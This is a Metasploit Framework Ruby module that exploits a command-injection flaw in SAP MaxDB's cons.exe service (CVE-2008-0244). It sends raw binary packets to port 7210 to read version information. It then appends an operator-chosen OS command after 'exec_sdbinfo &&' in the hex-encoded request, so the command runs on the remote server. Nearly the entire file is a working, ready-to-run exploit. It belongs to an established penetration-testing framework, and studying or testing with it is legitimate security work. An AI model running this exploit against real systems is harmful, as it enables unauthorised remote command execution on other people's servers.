metasploit-framework/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb

86 lines
2.2 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP MaxDB cons.exe Remote Command Injection',
'Description' => %q{
SAP MaxDB is prone to a remote command-injection vulnerability
because the application fails to properly sanitize user-supplied input.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['BID', '27206'],
['CVE', '2008-0244'],
],
'DisclosureDate' => 'Jan 9 2008'))
register_options(
[
Opt::RPORT(7210),
OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
], self.class)
end
def run
connect
#Grab the MaxDB info.
pdbmsrv = "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"
pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00"
pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00"
pdbmsrv << "\x00\x07\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00"
pdbmsrv << "\x07\x49\x33\x34\x33\x32\x00\x04\x50\x1C\x2A\x03\x52\x01\x03\x72"
pdbmsrv << "\x01\x09\x70\x64\x62\x6D\x73\x72\x76\x00"
db_version = "\x28\x00\x00\x00\x03\x3f\x00\x00\x01\x00\x00\x00\xc0\x0b\x00\x00"
db_version << "\x00\x00\x04\x00\x28\x00\x00\x00\x64\x62\x6d\x5f\x76\x65\x72\x73"
db_version << "\x69\x6f\x6e\x20\x20\x20\x20\x20"
sock.put(pdbmsrv)
sock.get_once
sock.put(db_version)
ver = sock.get_once
ver[27,2000].each do | info |
puts "[*] #{info}"
end
#Send our command.
len = 39 + datastore['CMD'].length
data = len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00"
data << "\x00\x00\x04\x00" + len.chr + "\x00\x00\x00\x65\x78\x65\x63\x5F\x73\x64"
data << "\x62\x69\x6E\x66\x6F\x20\x26\x26" + "#{datastore['CMD']}"
sock.put(data)
res = sock.get_once
puts res
disconnect
end
end